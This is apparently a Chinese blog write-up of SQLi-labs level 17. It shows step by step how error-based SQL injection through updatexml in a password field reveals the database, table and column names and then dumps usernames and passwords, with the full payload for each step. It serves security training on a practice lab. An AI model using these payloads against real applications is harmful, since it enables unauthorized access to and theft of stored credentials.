SQL-labs的第17关——报错注入(updatexml)

这一关的网站是用来修改密码的,所以数据库会执行update这种查询方式,而不是select这种查询方式。我们发现用户名这一框输入数据不行,会进行过滤。所以我们这次在密码这一框中进行注入。

1、判断闭合方式

输入语句1"页面没报错,输入1'时报错,再输入

1' #

返回页面如下:

说明该网站的闭合方式是'。

2、判断注入方式

我们在判断闭合方式时,输入语句

1'

,返回页面如下:

我们发现该网站没有回显,但是输入错误后它会返回错误信息。,所以这次适合使用报错注入。

3、爆破数据库名

输入语句

1' or updatexml(1,concat('~',database(),'~'),1) #

,返回页面如下:

数据库名是security。

4、爆破数据表名

输入语句

1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #

,返回页面如下:

该数据库中共有四个数据表,分别是:emails、referers、uagents、users。

5、爆破列名

输入语句

1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'~'),1) #

,返回页面如下:

users这个表中有三列,分别是:id、username、password。

6、爆破数据

输入语句

1' and updatexml(1,concat('~',(select group_concat(concat(password,'-',username)) from users),'~'),1) #

,返回如下页面:

提示我们:不能在FROM子句中指定要更新的目标表“users”

那么我们将users给替换掉,语句改成:

1' and updatexml(1,concat('~',(select group_concat(concat(username,'-',password)) from (select username from users)a),'~'),1) #

,返回页面如下:

我们发现报错信息好想没有显示完全。

我们将语句在修改一下:

1' and updatexml(1,concat('~',mid((select group_concat(concat(username,'-',password)) from (select * from users)a),1,32),'~'),1) #

,返回页面如下:

我们可以将mid函数中的1和32改成其他数字,就可以看到其他数据了。这里的1和32的意思是:截取从第一位字母开始的32位字母。

7、注意

这一关也可以使用extractvalue函数,注意该函数,只有2个参数。而updatexml有3个参数。

到此打靶结束。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hacker-小胖锅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值